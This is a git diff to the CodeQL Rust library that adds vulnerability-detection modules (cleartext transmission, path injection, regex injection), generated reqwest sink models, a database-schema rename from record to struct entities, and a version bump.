    * A barrier for cleartext logging vulnerabilities.
diff --git a/rust/ql/lib/codeql/rust/security/CleartextTransmissionExtensions.qll b/rust/ql/lib/codeql/rust/security/CleartextTransmissionExtensions.qll
new file mode 100644
index 000000000000..73495cd1c0d3
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/security/CleartextTransmissionExtensions.qll
@@ -0,0 +1,38 @@
+/**
+ * Provides classes and predicates for reasoning about cleartext transmission
+ * vulnerabilities.
+ */
+
+private import codeql.util.Unit
+private import rust
+private import codeql.rust.dataflow.DataFlow
+private import codeql.rust.dataflow.FlowSink
+
+/**
+ * A data flow sink for cleartext transmission vulnerabilities. That is,
+ * a `DataFlow::Node` of something that is transmitted over a network.
+ */
+abstract class CleartextTransmissionSink extends DataFlow::Node { }
+
+/**
+ * A barrier for cleartext transmission vulnerabilities.
+ */
+abstract class CleartextTransmissionBarrier extends DataFlow::Node { }
+
+/**
+ * A unit class for adding additional flow steps.
+ */
+class CleartextTransmissionAdditionalFlowStep extends Unit {
+  /**
+   * Holds if the step from `node1` to `node2` should be considered a flow
+   * step for paths related to cleartext transmission vulnerabilities.
+   */
+  abstract predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo);
+}
+
+/**
+ * A sink defined through MaD.
+ */
+private class MadCleartextTransmissionSink extends CleartextTransmissionSink {
+  MadCleartextTransmissionSink() { sinkNode(this, "transmission") }
+}
diff --git a/rust/ql/lib/codeql/rust/security/SqlInjectionExtensions.qll b/rust/ql/lib/codeql/rust/security/SqlInjectionExtensions.qll
index 4de712080044..9c61fe4aa52d 100644
--- a/rust/ql/lib/codeql/rust/security/SqlInjectionExtensions.qll
+++ b/rust/ql/lib/codeql/rust/security/SqlInjectionExtensions.qll
@@ -23,7 +23,9 @@ module SqlInjection {
   /**
    * A data flow sink for SQL injection vulnerabilities.
    */
-  abstract class Sink extends DataFlow::Node { }
+  abstract class Sink extends QuerySink::Range {
+    override string getSinkType() { result = "SqlInjection" }
+  }
 
   /**
    * A barrier for SQL injection vulnerabilities.
diff --git a/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll b/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll
new file mode 100644
index 000000000000..df8c43212b34
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll
@@ -0,0 +1,79 @@
+/** Provides classes and predicates to reason about path injection vulnerabilities. */
+
+import rust
+private import codeql.rust.controlflow.BasicBlocks
+private import codeql.rust.controlflow.ControlFlowGraph
+private import codeql.rust.dataflow.DataFlow
+private import codeql.rust.dataflow.TaintTracking
+private import codeql.rust.Concepts
+private import codeql.rust.dataflow.internal.DataFlowImpl
+private import codeql.rust.controlflow.ControlFlowGraph as Cfg
+private import codeql.rust.controlflow.CfgNodes as CfgNodes
+
+/**
+ * Provides default sources, sinks and barriers for detecting path injection
+ * vulnerabilities, as well as extension points for adding your own.
+ */
+module TaintedPath {
+  /**
+   * A data flow source for path injection vulnerabilities.
+   */
+  abstract class Source extends DataFlow::Node { }
+
+  /**
+   * A data flow sink for path injection vulnerabilities.
+   */
+  abstract class Sink extends DataFlow::Node { }
+
+  /**
+   * A barrier for path injection vulnerabilities.
+   */
+  abstract class Barrier extends DataFlow::Node { }
+
+  /**
+   * A sanitizer guard for path-traversal vulnerabilities.
+   */
+  class SanitizerGuard extends DataFlow::Node {
+    SanitizerGuard() { this = DataFlow::BarrierGuard<sanitizerGuard/3>::getABarrierNode() }
+  }
+
+  /**
+   * An active threat-model source, considered as a flow source.
+   */
+  private class ActiveThreatModelSourceAsSource extends Source, ActiveThreatModelSource { }
+
+  /** A sink for path-injection from model data. */
+  private class ModelsAsDataSinks extends Sink {
+    ModelsAsDataSinks() { sinkNode(this, "path-injection") }
+  }
+}
+
+private predicate sanitizerGuard(CfgNodes::AstCfgNode g, Cfg::CfgNode node, boolean branch) {
+  g.(SanitizerGuard::Range).checks(node, branch)
+}
+
+/** Provides a class for modeling new path safety checks. */
+module SanitizerGuard {
+  /** A data-flow node that checks that a path is safe to access. */
+  abstract class Range extends CfgNodes::AstCfgNode {
+    /** Holds if this guard validates `node` upon evaluating to `branch`. */
+    abstract predicate checks(Cfg::CfgNode node, boolean branch);
+  }
+}
+
+/**
+ * A check of the form `!strings.Contains(nd, "..")`, considered as a sanitizer guard for
+ * path traversal.
+ */
+private class DotDotCheck extends SanitizerGuard::Range, CfgNodes::MethodCallExprCfgNode {
+  DotDotCheck() {
+    this.getAstNode().(Resolvable).getResolvedPath() = "<str>::contains" and
+    this.getArgument(0).getAstNode().(LiteralExpr).getTextValue() =
+      ["\"..\"", "\"../\"", "\"..\\\""]
+  }
+
+  override predicate checks(Cfg::CfgNode e, boolean branch) {
+    e = this.getReceiver() and
+    branch = false
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/security/WeakSensitiveDataHashingExtensions.qll b/rust/ql/lib/codeql/rust/security/WeakSensitiveDataHashingExtensions.qll
index 45aa03b58054..b22e5153ce3a 100644
--- a/rust/ql/lib/codeql/rust/security/WeakSensitiveDataHashingExtensions.qll
+++ b/rust/ql/lib/codeql/rust/security/WeakSensitiveDataHashingExtensions.qll
@@ -14,7 +14,7 @@ private import codeql.rust.security.SensitiveData
 private import codeql.rust.dataflow.DataFlow
 private import codeql.rust.dataflow.FlowSource
 private import codeql.rust.dataflow.FlowSink
-private import codeql.rust.dataflow.internal.DataFlowImpl
+private import codeql.rust.dataflow.internal.Node as Node
 
 /**
  * Provides default sources, sinks and sanitizers for detecting "use of a broken or weak
@@ -43,7 +43,7 @@ module NormalHashFunction {
    * data" vulnerabilities that applies to data that does not require computationally expensive
    * hashing. That is, a broken or weak hashing algorithm.
    */
-  abstract class Sink extends DataFlow::Node {
+  abstract class Sink extends QuerySink::Range {
     /**
      * Gets the name of the weak hashing algorithm.
      */
@@ -76,6 +76,8 @@ module NormalHashFunction {
   class WeakHashingOperationInputAsSink extends Sink {
     Cryptography::HashingAlgorithm algorithm;
 
+    override string getSinkType() { result = "WeakSensitiveDataHashing" }
+
     WeakHashingOperationInputAsSink() {
       exists(Cryptography::CryptographicOperation operation |
         algorithm.isWeak() and
@@ -114,7 +116,9 @@ module ComputationallyExpensiveHashFunction {
    * hashing. That is, a broken or weak hashing algorithm or one that is not computationally
    * expensive enough for password hashing.
    */
-  abstract class Sink extends DataFlow::Node {
+  abstract class Sink extends QuerySink::Range {
+    override string getSinkType() { result = "WeakSensitiveDataHashing" }
+
     /**
      * Gets the name of the weak hashing algorithm.
      */
diff --git a/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll b/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll
new file mode 100644
index 000000000000..f1e4060a5cf4
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll
@@ -0,0 +1,70 @@
+/**
+ * Provides classes and predicates to reason about regular expression injection
+ * vulnerabilities.
+ */
+
+private import codeql.util.Unit
+private import rust
+private import codeql.rust.dataflow.DataFlow
+private import codeql.rust.controlflow.CfgNodes
+private import codeql.rust.dataflow.FlowSink
+private import codeql.rust.Concepts
+
+/**
+ * A data flow sink for regular expression injection vulnerabilities.
+ */
+abstract class RegexInjectionSink extends QuerySink::Range {
+  override string getSinkType() { result = "RegexInjection" }
+}
+
+/**
+ * A barrier for regular expression injection vulnerabilities.
+ */
+abstract class RegexInjectionBarrier extends DataFlow::Node { }
+
+/** A sink for `a` in `Regex::new(a)` when `a` is not a literal. */
+private class NewRegexInjectionSink extends RegexInjectionSink {
+  NewRegexInjectionSink() {
+    exists(CallExprCfgNode call, PathExpr path |
+      path = call.getFunction().getExpr() and
+      path.getResolvedCrateOrigin() = "repo:https://github.com/rust-lang/regex:regex" and
+      path.getResolvedPath() = "<crate::regex::string::Regex>::new" and
+      this.asExpr() = call.getArgument(0) and
+      not this.asExpr() instanceof LiteralExprCfgNode
+    )
+  }
+}
+
+private class MadRegexInjectionSink extends RegexInjectionSink {
+  MadRegexInjectionSink() { sinkNode(this, "regex-use") }
+}
+
+/**
+ * A unit class for adding additional flow steps.
+ */
+class RegexInjectionAdditionalFlowStep extends Unit {
+  /**
+   * Holds if the step from `node1` to `node2` should be considered a flow
+   * step for paths related to regular expression injection vulnerabilities.
+   */
+  abstract predicate step(DataFlow::Node node1, DataFlow::Node node2);
+}
+
+/**
+ * An escape barrier for regular expression injection vulnerabilities.
+ */
+private class RegexInjectionDefaultBarrier extends RegexInjectionBarrier {
+  RegexInjectionDefaultBarrier() {
+    // A barrier is any call to a function named `escape`, in particular this
+    // makes calls to `regex::escape` a barrier.
+    this.asExpr()
+        .getExpr()
+        .(CallExpr)
+        .getFunction()
+        .(PathExpr)
+        .getPath()
+        .getSegment()
+        .getIdentifier()
+        .getText() = "escape"
+  }
+}
diff --git a/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml b/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml
new file mode 100644
index 000000000000..53f2675a0c0b
--- /dev/null
+++ b/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml
@@ -0,0 +1,23 @@
+# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT.
+extensions:
+  - addsTo:
+      pack: codeql/rust-all
+      extensible: sinkModel
+    data:
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::async_impl::client::Client>::delete", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::async_impl::client::Client>::get", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::async_impl::client::Client>::head", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::async_impl::client::Client>::patch", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::async_impl::client::Client>::post", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::async_impl::client::Client>::put", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::blocking::client::Client>::delete", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::blocking::client::Client>::get", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::blocking::client::Client>::head", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::blocking::client::Client>::patch", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::blocking::client::Client>::post", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::blocking::client::Client>::put", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::connect::Connector as crate::Service>::call", "Argument[0]", "log-injection", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::connect::ConnectorService as crate::Service>::call", "Argument[0]", "log-injection", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::get", "Argument[0]", "transmission", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::wait::timeout", "Argument[1]", "log-injection", "df-generated"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::get", "Argument[0]", "transmission", "df-generated"]
diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml
index e5e694b52e06..8ca8fd5100cb 100644
--- a/rust/ql/lib/qlpack.yml
+++ b/rust/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/rust-all
-version: 0.1.4
+version: 0.1.5
 groups: rust
 extractor: rust
 dbscheme: rust.dbscheme
@@ -12,6 +12,7 @@ dependencies:
   codeql/mad: ${workspace}
   codeql/ssa: ${workspace}
   codeql/tutorial: ${workspace}
+  codeql/typeinference: ${workspace}
   codeql/util: ${workspace}
 dataExtensions:
   - /**/*.model.yml
diff --git a/rust/ql/lib/rust.dbscheme b/rust/ql/lib/rust.dbscheme
index bbe668c56ea9..256e80c2dcea 100644
--- a/rust/ql/lib/rust.dbscheme
+++ b/rust/ql/lib/rust.dbscheme
@@ -122,6 +122,7 @@ locatable_locations(
 @element =
   @extractor_step
 | @locatable
+| @named_crate
 | @unextracted
 ;
 
@@ -139,8 +140,15 @@ extractor_step_files(
 
 @locatable =
   @ast_node
+| @crate
 ;
 
+named_crates(
+  unique int id: @named_crate,
+  string name: string ref,
+  int crate: @crate ref
+);
+
 @unextracted =
   @missing
 | @unimplemented
@@ -186,11 +194,6 @@ extractor_step_files(
 | @pat
 | @path
 | @path_segment
-| @record_expr_field
-| @record_expr_field_list
-| @record_field
-| @record_pat_field
-| @record_pat_field_list
 | @rename
 | @resolvable
 | @ret_type_repr
@@ -198,6 +201,11 @@ extractor_step_files(
 | @source_file
 | @stmt
 | @stmt_list
+| @struct_expr_field
+| @struct_expr_field_list
+| @struct_field
+| @struct_pat_field
+| @struct_pat_field_list
 | @token
 | @token_tree
 | @tuple_field
@@ -208,12 +216,49 @@ extractor_step_files(
 | @use_bound_generic_args
 | @use_tree
 | @use_tree_list
+| @variant_def
 | @variant_list
 | @visibility
 | @where_clause
 | @where_pred
 ;
 
+crates(
+  unique int id: @crate
+);
+
+#keyset[id]
+crate_names(
+  int id: @crate ref,
+  string name: string ref
+);
+
+#keyset[id]
+crate_versions(
+  int id: @crate ref,
+  string version: string ref
+);
+
+#keyset[id]
+crate_modules(
+  int id: @crate ref,
+  int module: @module ref
+);
+
+#keyset[id, index]
+crate_cfg_options(
+  int id: @crate ref,
+  int index: int ref,
+  string cfg_option: string ref
+);
+
+#keyset[id, index]
+crate_named_dependencies(
+  int id: @crate ref,
+  int index: int ref,
+  int named_dependency: @named_crate ref
+);
+
 missings(
   unique int id: @missing
 );
@@ -307,9 +352,9 @@ asm_reg_specs(
 );
 
 #keyset[id]
-asm_reg_spec_name_refs(
+asm_reg_spec_identifiers(
   int id: @asm_reg_spec ref,
-  int name_ref: @name_ref ref
+  int identifier: @name_ref ref
 );
 
 @assoc_item =
@@ -400,9 +445,9 @@ closure_binder_generic_param_lists(
 | @path_expr_base
 | @prefix_expr
 | @range_expr
-| @record_expr
 | @ref_expr
 | @return_expr
+| @struct_expr
 | @try_expr
 | @tuple_expr
 | @underscore_expr
@@ -436,7 +481,7 @@ extern_item_list_extern_items(
 );
 
 @field_list =
-  @record_field_list
+  @struct_field_list
 | @tuple_field_list
 ;
 
@@ -707,10 +752,10 @@ parenthesized_arg_list_type_args(
 | @paren_pat
 | @path_pat
 | @range_pat
-| @record_pat
 | @ref_pat
 | @rest_pat
 | @slice_pat
+| @struct_pat
 | @tuple_pat
 | @tuple_struct_pat
 | @wildcard_pat
@@ -727,9 +772,9 @@ path_qualifiers(
 );
 
 #keyset[id]
-path_parts(
+path_segments_(
   int id: @path ref,
-  int part: @path_segment ref
+  int segment: @path_segment ref
 );
 
 path_segments(
@@ -743,9 +788,9 @@ path_segment_generic_arg_lists(
 );
 
 #keyset[id]
-path_segment_name_refs(
+path_segment_identifiers(
   int id: @path_segment ref,
-  int name_ref: @name_ref ref
+  int identifier: @name_ref ref
 );
 
 #keyset[id]
@@ -778,209 +823,215 @@ path_segment_trait_type_reprs(
   int trait_type_repr: @path_type_repr ref
 );
 
-record_expr_fields(
-  unique int id: @record_expr_field
+renames(
+  unique int id: @rename
 );
 
-#keyset[id, index]
-record_expr_field_attrs(
-  int id: @record_expr_field ref,
-  int index: int ref,
-  int attr: @attr ref
+#keyset[id]
+rename_names(
+  int id: @rename ref,
+  int name: @name ref
 );
 
+@resolvable =
+  @method_call_expr
+| @path_ast_node
+;
+
 #keyset[id]
-record_expr_field_exprs(
-  int id: @record_expr_field ref,
-  int expr: @expr ref
+resolvable_resolved_paths(
+  int id: @resolvable ref,
+  string resolved_path: string ref
+);
+
+#keyset[id]
+resolvable_resolved_crate_origins(
+  int id: @resolvable ref,
+  string resolved_crate_origin: string ref
+);
+
+ret_type_reprs(
+  unique int id: @ret_type_repr
 );
 
 #keyset[id]
-record_expr_field_name_refs(
-  int id: @record_expr_field ref,
-  int name_ref: @name_ref ref
+ret_type_repr_type_reprs(
+  int id: @ret_type_repr ref,
+  int type_repr: @type_repr ref
 );
 
-record_expr_field_lists(
-  unique int id: @record_expr_field_list
+return_type_syntaxes(
+  unique int id: @return_type_syntax
+);
+
+source_files(
+  unique int id: @source_file
 );
 
 #keyset[id, index]
-record_expr_field_list_attrs(
-  int id: @record_expr_field_list ref,
+source_file_attrs(
+  int id: @source_file ref,
   int index: int ref,
   int attr: @attr ref
 );
 
 #keyset[id, index]
-record_expr_field_list_fields(
-  int id: @record_expr_field_list ref,
+source_file_items(
+  int id: @source_file ref,
   int index: int ref,
-  int field: @record_expr_field ref
+  int item: @item ref
 );
 
-#keyset[id]
-record_expr_field_list_spreads(
-  int id: @record_expr_field_list ref,
-  int spread: @expr ref
-);
+@stmt =
+  @expr_stmt
+| @item
+| @let_stmt
+;
 
-record_fields(
-  unique int id: @record_field
+stmt_lists(
+  unique int id: @stmt_list
 );
 
 #keyset[id, index]
-record_field_attrs(
-  int id: @record_field ref,
+stmt_list_attrs(
+  int id: @stmt_list ref,
   int index: int ref,
   int attr: @attr ref
 );
 
-#keyset[id]
-record_field_names(
-  int id: @record_field ref,
-  int name: @name ref
-);
-
-#keyset[id]
-record_field_type_reprs(
-  int id: @record_field ref,
-  int type_repr: @type_repr ref
+#keyset[id, index]
+stmt_list_statements(
+  int id: @stmt_list ref,
+  int index: int ref,
+  int statement: @stmt ref
 );
 
 #keyset[id]
-record_field_visibilities(
-  int id: @record_field ref,
-  int visibility: @visibility ref
+stmt_list_tail_exprs(
+  int id: @stmt_list ref,
+  int tail_expr: @expr ref
 );
 
-record_pat_fields(
-  unique int id: @record_pat_field
+struct_expr_fields(
+  unique int id: @struct_expr_field
 );
 
 #keyset[id, index]
-record_pat_field_attrs(
-  int id: @record_pat_field ref,
+struct_expr_field_attrs(
+  int id: @struct_expr_field ref,
   int index: int ref,
   int attr: @attr ref
 );
 
 #keyset[id]
-record_pat_field_name_refs(
-  int id: @record_pat_field ref,
-  int name_ref: @name_ref ref
+struct_expr_field_exprs(
+  int id: @struct_expr_field ref,
+  int expr: @expr ref
 );
 
 #keyset[id]
-record_pat_field_pats(
-  int id: @record_pat_field ref,
-  int pat: @pat ref
+struct_expr_field_identifiers(
+  int id: @struct_expr_field ref,
+  int identifier: @name_ref ref
 );
 
-record_pat_field_lists(
-  unique int id: @record_pat_field_list
+struct_expr_field_lists(
+  unique int id: @struct_expr_field_list
 );
 
 #keyset[id, index]
-record_pat_field_list_fields(
-  int id: @record_pat_field_list ref,
+struct_expr_field_list_attrs(
+  int id: @struct_expr_field_list ref,
   int index: int ref,
-  int field: @record_pat_field ref
-);
-
-#keyset[id]
-record_pat_field_list_rest_pats(
-  int id: @record_pat_field_list ref,
-  int rest_pat: @rest_pat ref
+  int attr: @attr ref
 );
 
-renames(
-  unique int id: @rename
+#keyset[id, index]
+struct_expr_field_list_fields(
+  int id: @struct_expr_field_list ref,
+  int index: int ref,
+  int field: @struct_expr_field ref
 );
 
 #keyset[id]
-rename_names(
-  int id: @rename ref,
-  int name: @name ref
+struct_expr_field_list_spreads(
+  int id: @struct_expr_field_list ref,
+  int spread: @expr ref
 );
 
-@resolvable =
-  @method_call_expr
-| @path_ast_node
-;
+struct_fields(
+  unique int id: @struct_field
+);
 
-#keyset[id]
-resolvable_resolved_paths(
-  int id: @resolvable ref,
-  string resolved_path: string ref
+#keyset[id, index]
+struct_field_attrs(
+  int id: @struct_field ref,
+  int index: int ref,
+  int attr: @attr ref
 );
 
 #keyset[id]
-resolvable_resolved_crate_origins(
-  int id: @resolvable ref,
-  string resolved_crate_origin: string ref
+struct_field_defaults(
+  int id: @struct_field ref,
+  int default: @expr ref
 );
 
-ret_type_reprs(
-  unique int id: @ret_type_repr
+#keyset[id]
+struct_field_names(
+  int id: @struct_field ref,
+  int name: @name ref
 );
 
 #keyset[id]
-ret_type_repr_type_reprs(
-  int id: @ret_type_repr ref,
+struct_field_type_reprs(
+  int id: @struct_field ref,
   int type_repr: @type_repr ref
 );
 
-return_type_syntaxes(
-  unique int id: @return_type_syntax
+#keyset[id]
+struct_field_visibilities(
+  int id: @struct_field ref,
+  int visibility: @visibility ref
 );
 
-source_files(
-  unique int id: @source_file
+struct_pat_fields(
+  unique int id: @struct_pat_field
 );
 
 #keyset[id, index]
-source_file_attrs(
-  int id: @source_file ref,
+struct_pat_field_attrs(
+  int id: @struct_pat_field ref,
   int index: int ref,
   int attr: @attr ref
 );
 
-#keyset[id, index]
-source_file_items(
-  int id: @source_file ref,
-  int index: int ref,
-  int item: @item ref
+#keyset[id]
+struct_pat_field_identifiers(
+  int id: @struct_pat_field ref,
+  int identifier: @name_ref ref
 );
 
-@stmt =
-  @expr_stmt
-| @item
-| @let_stmt
-;
-
-stmt_lists(
-  unique int id: @stmt_list
+#keyset[id]
+struct_pat_field_pats(
+  int id: @struct_pat_field ref,
+  int pat: @pat ref
 );
 
-#keyset[id, index]
-stmt_list_attrs(
-  int id: @stmt_list ref,
-  int index: int ref,
-  int attr: @attr ref
+struct_pat_field_lists(
+  unique int id: @struct_pat_field_list
 );
 
 #keyset[id, index]
-stmt_list_statements(
-  int id: @stmt_list ref,
+struct_pat_field_list_fields(
+  int id: @struct_pat_field_list ref,
   int index: int ref,
-  int statement: @stmt ref
+  int field: @struct_pat_field ref
 );
 
 #keyset[id]
-stmt_list_tail_exprs(
-  int id: @stmt_list ref,
-  int tail_expr: @expr ref
+struct_pat_field_list_rest_pats(
+  int id: @struct_pat_field_list ref,
+  int rest_pat: @rest_pat ref
 );
 
 @token =
@@ -1128,6 +1179,12 @@ use_tree_list_use_trees(
   int use_tree: @use_tree ref
 );
 
+@variant_def =
+  @struct
+| @union
+| @variant
+;
+
 variant_lists(
   unique int id: @variant_list
 );
@@ -1357,9 +1414,9 @@ assoc_type_arg_generic_arg_lists(
 );
 
 #keyset[id]
-assoc_type_arg_name_refs(
+assoc_type_arg_identifiers(
   int id: @assoc_type_arg ref,
-  int name_ref: @name_ref ref
+  int identifier: @name_ref ref
 );
 
 #keyset[id]
@@ -1690,15 +1747,15 @@ field_expr_attrs(
 );
 
 #keyset[id]
-field_expr_exprs(
+field_expr_containers(
   int id: @field_expr ref,
-  int expr: @expr ref
+  int container: @expr ref
 );
 
 #keyset[id]
-field_expr_name_refs(
+field_expr_identifiers(
   int id: @field_expr ref,
-  int name_ref: @name_ref ref
+  int identifier: @name_ref ref
 );
 
 fn_ptr_type_reprs(
@@ -2188,8 +2245,8 @@ paren_type_repr_type_reprs(
 @path_ast_node =
   @path_expr
 | @path_pat
-| @record_expr
-| @record_pat
+| @struct_expr
+| @struct_pat
 | @tuple_struct_pat
 ;
 
@@ -2307,17 +2364,6 @@ range_pat_starts(
   int start: @pat ref
 );
 
-record_field_lists(
-  unique int id: @record_field_list
-);
-
-#keyset[id, index]
-record_field_list_fields(
-  int id: @record_field_list ref,
-  int index: int ref,
-  int field: @record_field ref
-);
-
 ref_exprs(
   unique int id: @ref_expr
 );
@@ -2461,6 +2507,17 @@ slice_type_repr_type_reprs(
   int type_repr: @type_repr ref
 );
 
+struct_field_lists(
+  unique int id: @struct_field_list
+);
+
+#keyset[id, index]
+struct_field_list_fields(
+  int id: @struct_field_list ref,
+  int index: int ref,
+  int field: @struct_field ref
+);
+
 try_exprs(
   unique int id: @try_expr
 );
@@ -2591,9 +2648,9 @@ variant_attrs(
 );
 
 #keyset[id]
-variant_exprs(
+variant_discriminants(
   int id: @variant ref,
-  int expr: @expr ref
+  int discriminant: @expr ref
 );
 
 #keyset[id]
@@ -2835,9 +2892,9 @@ extern_crate_attrs(
 );
 
 #keyset[id]
-extern_crate_name_refs(
+extern_crate_identifiers(
   int id: @extern_crate ref,
-  int name_ref: @name_ref ref
+  int identifier: @name_ref ref
 );
 
 #keyset[id]
@@ -3101,9 +3158,9 @@ method_call_expr_generic_arg_lists(
 );
 
 #keyset[id]
-method_call_expr_name_refs(
+method_call_expr_identifiers(
   int id: @method_call_expr ref,
-  int name_ref: @name_ref ref
+  int identifier: @name_ref ref
 );
 
 #keyset[id]
@@ -3156,26 +3213,6 @@ path_pats(
   unique int id: @path_pat
 );
 
-record_exprs(
-  unique int id: @record_expr
-);
-
-#keyset[id]
-record_expr_record_expr_field_lists(
-  int id: @record_expr ref,
-  int record_expr_field_list: @record_expr_field_list ref
-);
-
-record_pats(
-  unique int id: @record_pat
-);
-
-#keyset[id]
-record_pat_record_pat_field_lists(
-  int id: @record_pat ref,
-  int record_pat_field_list: @record_pat_field_list ref
-);
-
 statics(
   unique int id: @static
 );
@@ -3238,7 +3275,7 @@ struct_attrs(
 );
 
 #keyset[id]
-struct_field_lists(
+struct_field_lists_(
   int id: @struct ref,
   int field_list: @field_list ref
 );
@@ -3267,6 +3304,26 @@ struct_where_clauses(
   int where_clause: @where_clause ref
 );
 
+struct_exprs(
+  unique int id: @struct_expr
+);
+
+#keyset[id]
+struct_expr_struct_expr_field_lists(
+  int id: @struct_expr ref,
+  int struct_expr_field_list: @struct_expr_field_list ref
+);
+
+struct_pats(
+  unique int id: @struct_pat
+);
+
+#keyset[id]
+struct_pat_struct_pat_field_lists(
+  int id: @struct_pat ref,
+  int struct_pat_field_list: @struct_pat_field_list ref
+);
+
 traits(
   unique int id: @trait
 );
@@ -3452,9 +3509,9 @@ union_names(
 );
 
 #keyset[id]
-union_record_field_lists(
+union_struct_field_lists(
   int id: @union ref,
-  int record_field_list: @record_field_list ref
+  int struct_field_list: @struct_field_list ref
 );
 
 #keyset[id]
diff --git a/rust/ql/lib/utils/test/InlineFlowTest.qll b/rust/ql/lib/utils/test/InlineFlowTest.qll
index 3fe1e5f2e627..80abf21e1f5f 100644
--- a/rust/ql/lib/utils/test/InlineFlowTest.qll
+++ b/rust/ql/lib/utils/test/InlineFlowTest.qll
@@ -8,6 +8,7 @@ private import codeql.dataflow.test.InlineFlowTest
 private import codeql.rust.controlflow.CfgNodes
 private import codeql.rust.dataflow.DataFlow
 private import codeql.rust.dataflow.internal.DataFlowImpl
+private import codeql.rust.dataflow.internal.Node as Node
 private import codeql.rust.dataflow.internal.TaintTrackingImpl
 private import codeql.rust.dataflow.internal.ModelsAsData as MaD
 private import internal.InlineExpectationsTestImpl as InlineExpectationsTestImpl
diff --git a/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll b/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll
new file mode 100644
index 000000000000..54d6023b2642
--- /dev/null
+++ b/rust/ql/lib/utils/test/PathResolutionInlineExpectationsTest.qll
@@ -0,0 +1,48 @@
+/**
+ * Provides an inline expectations test for path resolution.
+ */
+
+private import rust
+private import codeql.rust.internal.PathResolution
+private import codeql.rust.internal.TypeInference
+private import utils.test.InlineExpectationsTest
+
+private module ResolveTest implements TestSig {
+  string getARelevantTag() { result = "item" }
+
+  private predicate itemAt(ItemNode i, string filepath, int line, boolean inMacro) {
+    i.getLocation().hasLocationInfo(filepath, _, _, line, _) and
+    if i.(AstNode).isInMacroExpansion() then inMacro = true else inMacro = false
+  }
+
+  private predicate commmentAt(string text, string filepath, int line) {
+    exists(Comment c |
+      c.getLocation().hasLocationInfo(filepath, line, _, _, _) and
+      c.getCommentText() = text
+    )
+  }
+
+  private predicate item(ItemNode i, string value) {
+    exists(string filepath, int line, boolean inMacro | itemAt(i, filepath, line, inMacro) |
+      commmentAt(value, filepath, line) and inMacro = false
+      or
+      not (commmentAt(_, filepath, line) and inMacro = false) and
+      value = i.getName()
+    )
+  }
+
+  predicate hasActualResult(Location location, string element, string tag, string value) {
+    exists(AstNode n |
+      not n = any(Path parent).getQualifier() and
+      location = n.getLocation() and
+      element = n.toString() and
+      tag = "item"
+    |
+      item(resolvePath(n), value)
+      or
+      item(n.(MethodCallExpr).getStaticTarget(), value)
+    )
+  }
+}
+
+import MakeTest<ResolveTest>
diff --git a/rust/ql/src/CHANGELOG.md b/rust/ql/src/CHANGELOG.md
index 2bfa7916b94b..85c1fc61056f 100644
--- a/rust/ql/src/CHANGELOG.md
+++ b/rust/ql/src/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 0.1.5
+
+No user-facing changes.
+
 ## 0.1.4
 
 No user-facing changes.
diff --git a/rust/ql/src/change-notes/released/0.1.5.md b/rust/ql/src/change-notes/released/0.1.5.md
new file mode 100644
index 000000000000..83cd9c5ff46a
--- /dev/null
+++ b/rust/ql/src/change-notes/released/0.1.5.md
@@ -0,0 +1,3 @@
+## 0.1.5
+
+No user-facing changes.
diff --git a/rust/ql/src/codeql-pack.release.yml b/rust/ql/src/codeql-pack.release.yml
index e8ee3af8ef9a..157cff8108d3 100644
--- a/rust/ql/src/codeql-pack.release.yml
+++ b/rust/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.4
+lastReleaseVersion: 0.1.5
diff --git a/python/ql/src/codeql-suites/python-ccr.qls b/rust/ql/src/codeql-suites/rust-code-quality.qls
similarity index 100%
rename from python/ql/src/codeql-suites/python-ccr.qls
rename to rust/ql/src/codeql-suites/rust-code-quality.qls
